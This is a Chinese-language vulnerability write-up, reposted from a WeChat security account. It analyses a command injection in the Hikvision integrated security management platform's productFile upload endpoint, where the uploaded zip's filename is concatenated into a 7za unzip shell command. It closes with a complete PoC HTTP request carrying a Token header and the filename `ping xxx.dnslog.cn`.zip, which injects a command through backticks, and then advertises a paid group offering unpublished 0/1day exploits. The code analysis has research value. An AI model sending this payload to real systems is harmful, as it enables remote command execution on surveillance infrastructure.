[代码审计]海康productFile命令执行历史漏洞分析(含poc)

admin 2024年7月30日15:19:35评论131 views字数 2108阅读7分1秒阅读模式

 

前言

首先是之前在某漏洞库上看到海康威视-综合安防管理平台 /svm/api/v1/productFile 路径存在任意文件上传,因为刚好有源码就想着去看下,起初以为是zip解压缩目录穿越造成的文件写入,后来发现是拼接命令造成命令执行,比较有意思,已经有其他大佬发过分析文章了,这里只是简单记录下,大佬勿喷。

代码分析

首先根据漏洞路径定位到代码位置。

[代码审计]海康productFile命令执行历史漏洞分析(含poc)

除了上传文件外还必须要传入2个参数type和ip。

[代码审计]海康productFile命令执行历史漏洞分析(含poc)

进入productFileUpload方法查看代码逻辑,首先校验Token请求头。

[代码审计]海康productFile命令执行历史漏洞分析(含poc)

不通过直接抛出异常。

[代码审计]海康productFile命令执行历史漏洞分析(含poc)

这里这个Token请求头可以配合另一个漏洞来获取,这里直接看文件上传方法resolverUploadMultipartFile,首先判断上传的文件后缀是不是.zip,如果不是直接抛出异常。

[代码审计]海康productFile命令执行历史漏洞分析(含poc)

如果上传的文件后缀是.zip文件的话,会先调用FileResolver.transferTo。

在FileResolver.transferTo方法中,先获取/opt/hikvision/web/components/svm.1/data/temp目录,如果这个目录不存在的话会创建。

然后因为传入的rename为true,所以保存的文件名前面会加上uuid,最终保存的文件路径就是/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx.zip,FileResolver.transferTo返回保存文件的路径。

[代码审计]海康productFile命令执行历史漏洞分析(含poc)

回到resolverUploadMultipartFile方法,执行完FileResolver.transferTo且没异常抛出后,会调用ZipFacade.unzip方法来解压上传的zip文件。

[代码审计]海康productFile命令执行历史漏洞分析(含poc)

这里传入的参数CommonCache.ZIP_TOOL_PATH是7za文件的路径。

[代码审计]海康productFile命令执行历史漏洞分析(含poc)

[代码审计]海康productFile命令执行历史漏洞分析(含poc)

fileAbsuolutePath就是保存的文件路径,ZipFacade.unzip方法中首先检查7za和上传的文件是否存在, 然后获取去掉上传的文件扩展名后的路径,作为解压后的目标目录,如果不存在则创建。

[代码审计]海康productFile命令执行历史漏洞分析(含poc)

最后构建并执行解压命令,这里可以发现这个命令是拼接的,类似于

"7za" x "/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx.zip" -o"/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx" -y

[代码审计]海康productFile命令执行历史漏洞分析(含poc)

而类似于这段命令中,xxxx是我们可控的,就是上传zip文件的名字,这里就可以利用linux中的内联执行来执行系统命令了。所以文件名可以构造为`ping xxx.dnslog.cn`.zip来达到命令执行。

漏洞POC

token需要通过另一个接口获取。

  1. POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1Host: Token: SElLIElnVTBzNVd6eWlibVB4M046dUE0SlBBbGJTWGNMUnk5aWg4dkJXL2RjeEdqKys4aTd0cHBMM09INytVZz0=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data;boundary =---------------------------142851345723692939351758052805Content-Length: 346-----------------------------142851345723692939351758052805Content-Disposition: form-data; name="file"; filename="`ping xxx.dnslog.cn`.zip"Content-Type: application/zip123-----------------------------142851345723692939351758052805--

关于星球

星球里有团队内部POC分享。星球定期更新安全内容,包括:内部漏洞库情报分享(包括部分未公开0/1day)、poc利用工具及内部最新研究成果。圈子目前价格为89元(交个朋友),后续人员加入数量多的话会考虑涨价(先到先得!!)

 

原文始发于微信公众号(良月安全):[代码审计]海康productFile命令执行历史漏洞分析(含poc)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月30日15:19:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [代码审计]海康productFile命令执行历史漏洞分析(含poc)https://cn-sec.com/archives/3015007.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息